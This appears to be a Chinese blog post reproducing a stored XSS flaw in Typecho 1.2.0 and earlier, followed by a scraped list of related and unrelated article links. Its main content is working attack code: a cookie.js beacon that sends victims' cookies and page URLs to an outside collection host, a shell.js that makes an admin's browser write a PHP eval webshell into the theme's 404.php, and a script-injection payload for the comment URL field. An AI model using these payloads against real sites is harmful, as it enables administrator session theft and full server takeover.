Typecho<=1.2.0 存储型XSS 复现
Typecho<=1.2.0 存储型XSS
影响版本
漏洞影响版本:Typecho <= 1.2.0
漏洞复现
cookie.js
// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";
// 声明并立即执行一个匿名函数
(function() {
// 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
(new Image()).src = website
+ "/?keepsession=1"
+ "&location=" + escape((function() {
try {
// 尝试获取当前文档的 URL
return document.location.href;
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})())
+ "&toplocation=" + escape((function() {
try {
// 尝试获取顶层窗口的 URL
return top.location.href;
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})())
+ "&cookie=" + escape((function() {
try {
// 获取当前文档的 cookie
return document.cookie;
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})())
+ "&opener=" + escape((function() {
try {
// 获取打开当前窗口的窗口的 URL
return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})());
})();
shell.js
function step1(){
// 创建一个包含要注入的 iframe 的 HTML 字符串
var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
// 保存原网页内容
var oldata=document.body.innerHTML;
// 将注入的 iframe 添加到文档中
document.body.innerHTML=(oldata+data2);
}
// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;
function poc(){
// 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
if(times<=10){
// 获取要修改的 DOM 节点和触发“保存修改”操作的按钮
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
// 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
olddatas=htmldata.innerText;
htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;
// 点击保存按钮,提交修改后的数据
btn[1].click();
// 增加 poc 函数的执行次数
times+=1;
// 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
xhr1.send();
}
else{
return 0;
}
}
}
// 在页面加载完成后执行 step1 函数
step1();
在评论区的网站处插入包含上面js代码的网站提交


通过数据库已经可以查看到刚刚写入的url了
管理员访问后台评论会加载js文件里面的内容


之后会在404.php 文件里面写入一句话木马

http://47xx5/"></a><script>alert(document.cookie)</script><a/href="#

修复方案
更新到最新版本
Typecho<=1.2.0 存储型XSS 复现的更多相关文章
- 74CMS 3.0 存储型XSS漏洞
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...
- Phpwind v9.0 存储型xss跨站漏洞
漏洞版本: Phpwind v9.0 漏洞描述: Phpwind专注于中小网站应用的整合和价值的发掘,我们认为,以社区为网站的基础,可以提供丰富的应用,满足人们获取信息.交流.娱乐.消费等生活需求.获 ...
- 【代码审计】eduaskcms_v1.0.7前台存储型XSS漏洞分析
0x00 环境准备 eduaskcms官网:https://www.eduaskcms.xin 网站源码版本:eduaskcms-1.0.7 程序源码下载:https://www.eduaskcm ...
- 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss
转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 前台存储型XSS漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 富文本存储型XSS的模糊测试之道
富文本存储型XSS的模糊测试之道 凭借黑吧安全网漏洞报告平台的公开案例数据,我们足以管中窥豹,跨站脚本漏洞(Cross-site Script)仍是不少企业在业务安全风险排查和修复过程中需要对抗的“大 ...
- 无需登录-悟空CRM 存储型XSS
无需登录-悟空CRM 存储型XSS 审计悟空的缘由是看见某云爆出CRM的getshell,于是就想着去挖出来瞅瞅!但可能自己把自己给局限了,就想着去挖那些无限制访问的文件. 故事的发生点 漏洞文件:/ ...
- 代码审计之Catfish CMS v4.5.7后台作者权限越权两枚+存储型XSS一枚
首先本地搭建环境,我所使用的是Windows PHPstudy集成环境.使用起来非常方便.特别是审计的时候.可以任意切换PHP版本. 本文作者:226safe Team – Poacher 0×01 ...
随机推荐
- Unity打包ARCore项目失败,但是其他安卓项目成功
https://blog.csdn.net/lxbhahaha/article/details/111269980
- 算法学习01—Java底层的正整数与负整数
算法学习01 - Java 底层的正整数与负整数 本节课学到的知识 编写一个方法,打印出 int 类型数字的二进制长什么样 为什么 int 类型的最大值是 2^32 - 1,最小值是 -2^32 负整 ...
- sql几种不同的权限
DDL:Data Definition Language DDL允许用户定义数据,也就是创建表.删除表.修改表结构这些操作.通常,DDL由数据库管理员执行. DML:Data Manipulation ...
- 【Beat】Scrum Meeting 3
时间:2021年6月28日 1.各个成员今日完成的任务以及贡献小时数 姓名 今日完成任务 贡献小时数 鑫 进行软件测试,修改bug 4 荣娟 进行软件测试,修改bug 4 亚楠 进行软件测试,修改bu ...
- 第七章ssh sftp scp
第七章ssh sftp scp 对数据进行了加密和压缩 版本号协商,可能客户端和服务端的版本号不一致,服务端向客户端发送一个ssh协商,告诉客户端使用的ssh协议的版本号是多少,客户端在接收到了这个协 ...
- Centos7.6操作系统安装
新建虚拟机 默认下一步 稍后安装操作系统 选择对应的操作系统和版本 指定虚拟机名称和存储位置 处理器配置 内存配置:图形化界面至少2G,字符界面至少1G. 网络类型默认为NAT I/O控制器类型默认L ...
- K8S部署应用详解
# 前言 首先以SpringBoot应用为例介绍一下k8s的发布步骤. 1.从代码仓库下载代码,比如GitLab:2.接着是进行打包,比如使用Maven:3.编写Dockerfile文件,把步骤2产生 ...
- [网鼎杯 2018]Fakebook
1.解题过程 1.sql注入 访问web页面有一个login和join ![1](https://raw.githubusercontent.com/lanchuangdexingjian/Blog- ...
- 除select外查询数据的另一种姿势
1.24 1.[GYCTF2020]Blacklist buuctf上的题目 1.解题过程 输入1会返回一个数组,加上单引号就报错了,说明存在注入 以前做过类似的估计是堆叠注入,尝试一下 注入成功 正 ...
- springboot 接入 ChatGPT
项目地址 https://gitee.com/Kindear/lucy-chat 介绍 lucy-chat是接入OpenAI-ChatGPT大模型人工智能的Java解决方案,大模型人工智能的发展是不可 ...